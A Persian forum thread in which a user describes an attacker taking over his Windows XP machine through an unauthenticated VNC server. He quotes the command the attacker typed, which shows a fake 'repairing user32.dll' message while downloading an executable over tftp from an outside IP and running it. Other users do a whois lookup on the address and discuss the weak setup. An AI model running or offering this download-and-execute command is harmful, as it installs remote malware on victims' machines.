بنظرتون من هک شدم؟

[ahuray_mazdaa]

سلام
امروز که داشتم با انترنت کار میکردم یه بابایی کنترل موس من بدست گرفت و خواست اینو تو run اجرا کنه
%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 66.130.140.108 GET mrmw.exe & start mrmw&
منم سریع اینترنت رو قطع کردم .........این ویندوزم xp بودولی هر چی سرویس روش فکر کنید نصب هست ...طرف بهواس سرور اومد گمونم......هیچ انتی ویروس و فایروال هم نصب نیست......من فعلا فایروال ویندوز رو فعال کردم
سوالم اینه که من توی 4-5 سایت بیشتر نمیرم از اونا هم مطمئن هستم...موندم چطور اینکارو کرد
یک فایل رو کامپیوتر من کپی کرده 100 درصد گطور میونم پیداش کنم

---

موضوعات مشابه:

• تولید پسووردهای اتوماتیک برای کاربران اکتیودایرکتوری
• کسی می تونه لینکی به من بده که بتونم نرم افزار pqdi

---

[meysam22us]

با سلام

نتیجه whois روی IP که بالا نوشتی
Record Type:IP AddressIP Location: Canada - Quebec - Montreal - Videotron LteeReverse DNS:modemcable108.140-130-66.mc.videotron.ca
احتمالاً قصد حمله بوده و یا استفاده از کامپیوتر شما برای حمله به کامپیوتر دیگه ای . خوب از نظر امنیتی شما در سطح ضعیفی بودید ولی کاش نوع اتصال خودتون رو هم می گفتید که اگه ADSL هست با IP Valid متصل میشید .

نوع دسترسی رو بگید بهتر میشه نتیجه گرفت

[ahuray_mazdaa]

ip valid و چون خونه بود با dailup....اینم از مزایای سرعت پایین....تا بخواد دانلود کنه میشه یه چایی هم خورد

[ahuray_mazdaa]

فکر کنم فهمیدم مشکل چی هست...من vnc server داشتم با دسترسی برای همه بدون احراز هویت..Ip هم که valid بود...دیگه هیچی

[herus_deus]

فکر کنم فهمیدم مشکل چی هست...من vnc server داشتم با دسترسی برای همه بدون اهراز هویت..Ip هم که valid بود...دیگه هیچی

پس كارت دعوت فرستاده بودي براشون
كوزه گر و كوزه شكسته و اينا ديگه

[Hakimi]

چه زندگی خطرناکی!

[ahuray_mazdaa]

کامیپوتر تست این چیزها هم داره دیگه.....البته بدم نشد چون تا حالا تو بحر دستور tftp ویندوز نرفته بودم